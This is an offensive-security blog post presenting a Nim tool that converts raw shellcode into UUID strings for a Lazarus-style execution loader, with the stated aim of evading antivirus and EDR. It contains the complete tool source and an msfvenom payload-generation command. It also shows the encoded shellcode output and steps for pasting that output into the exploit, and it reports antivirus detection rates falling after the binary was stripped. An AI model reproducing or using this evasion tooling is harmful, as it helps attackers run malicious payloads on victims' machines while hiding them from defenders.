Nim Convert Shellcode to UUID

NCC Group published an article titled “RIFT: Analysing a Lazarus Shellcode Execution Method”.[1] This shellcode execution method bypasses some of the usual Sysmon/ETW detections on VirtualAlloc, WriteProcessMemory or CreateThread by encoding the shellcode in UUID’s before creating space on the heap and using some relatively benign WinAPI calls to execute the shellcode. At the moment I’m not sure how many EDR’s this will evade, but I do know that this method will evade detection by most if not all antivirus products. The only detection I’ve found after using Sysmon with a common public domain ruleset is a crash found in the Application log after the shellcode has already executed, which the user never sees.

The “OffensiveNim” project includes Nim language Proof-of-Concept code for this shellcode execution method.[2] At the time this blog post was written, the only published code I’ve found to convert shellcode to UUID’s for use in this exploit was a Python script [3] that requires the shellcode to be in Python format. That’s not very flexible considering every C2 or tool that produces shellcode does not always give you the option of a Python format. For example, I like to wrap Empire [4] shellcode in a Nim executable wrapper for antivirus evasion, and your only format option is raw shellcode. Another issue with relying on the Python script is that in the source it says “Adding nullbytes at the end of shellcode, this might break your shellcode”. My approach prepends NOP’s (0x90) to the beginning of the shellcode instead of appending null bytes to the end.

I created shellcodeToUuid.nim as a way to continue learning the Nim standard library while I created a more flexible tool that can ingest raw shellcode and output a string of UUID’s that can be copy-pasted into the Nim exploit code. The code:

import std/[strutils, sugar, algorithm]
import itertools
import sequtils
import os

proc convertToUuid*(sc: string): (int, seq[string]) =
    ## This proc takes a string and outputs a sequence of UUID's
    var sc_seq = collect(for x in sc.chunked(2): x.join(""))
    # check if shellcode len evenly divisible by 16 and pad with nops as required
    if len(sc_seq) mod 16 != 0:
        var padding: int = 16 - (len(sc_seq) mod 16)
        for x in 0..<padding:
            sc_seq = "90" & sc_seq
    # break up sc_seq into 16 byte chunks
    let chunks = len(sc_seq) div 16
    var seqOfSeqs = sc_seq.distribute(chunks)
    # construct UUID's
    var uuids: seq[string]
    for sequence in seqOfSeqs:
        var first: seq[string] = sequence[0..3].reversed
        var second: seq[string] = sequence[4..5].reversed
        var third: seq[string] = sequence[6..7].reversed
        var fourth: seq[string] = sequence[8..9]
        var fifth: seq[string] = sequence[10..15]
        var uuid: string = first.join() & '-' & second.join() & '-' & third.join() & '-' & fourth.join() & '-' & fifth.join()
        uuids.add(uuid)
    return (len(uuids), uuids)



when isMainModule:
    if paramCount() == 0:
        quit("You must specify the path to the file containing raw shellcode as the only parameter.", -1)
    let sc_string = readFile(commandLineParams()[0]).toHex
    var uuids: seq[string]
    var uuidCount: int
    (uuidCount, uuids) = convertToUuid(sc_string)
    echo "Count: ", uuidCount
    echo uuids

The output from from this code after exporting shellcode to a file using the command msfvenom -a x64 -p windows/x64/exec CMD=notepad.exe EXITFUNC=thread -f raw > shellcode.bin:

./shellcodeToUuid ./shellcode.bin
Count: 18
@["90909090-9090-9090-90FC-4883E4F0E8C0", "41000000-4151-5250-5156-4831D265488B", "8B486052-1852-8B48-5220-488B7250480F", "4D4A4AB7-C931-3148-C0AC-3C617C022C20", "0DC9C141-0141-E2C1-ED52-4151488B5220", "483C428B-D001-808B-8800-00004885C074", "D0014867-8B50-1848-448B-40204901D0E3", "C9FF4856-8B41-8834-4801-D64D31C94831", "C141ACC0-0DC9-0141-C138-E075F14C034C", "39450824-75D1-58D8-448B-40244901D066", "480C8B41-8B44-1C40-4901-D0418B048848", "5841D001-5841-595E-5A41-584159415A48", "4120EC83-FF52-58E0-4159-5A488B12E957", "5DFFFFFF-BA48-0001-0000-00000000488D", "0001018D-4100-31BA-8B6F-87FFD5BBE01D", "BA410A2A-95A6-9DBD-FFD5-4883C4283C06", "FB800A7C-75E0-BB05-4713-726F6A005941", "D5FFDA89-6F6E-6574-7061-642E65786500"]

At this point you simply update the SIZE constant on line 19, and copy everything between the [] brackets and paste it into the Nim uuid_exec_bin.nim code on line 20.

At this time I’ve scanned the compiled executable with multiple antivirus, including Defender, and none have detected anything malicious. Remember skids, DO NOT upload the compiled exploit code to virustotal!

Update: That was fast. As of 2/12 this is now detected by 5 antivirus engines, including Defender:

After changing the echo statement texts and stripping the binary it reduced detections from 5/30 to 1/30 and Defender was the only detection. I’ll keep playing with obfuscation until it evades Defender, but I won’t be posting that code here. This is why I keep any code related to shellcoding and Antivirus/EDR evasion private on my NAS instead of Github. :)

References:

[1] NCC Group, “RIFT: Analysing a Lazarus Shellcode Execution Method”, https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

[2] OffensiveNim, https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/uuid_exec_bin.nim

[3] Sunggwan Choi, “[ENG] UUID Shellcode Execution Implementation in C# and DInvoke”, https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/

[4] BC-SECURITY / EMPIRE, https://github.com/BC-SECURITY/Empire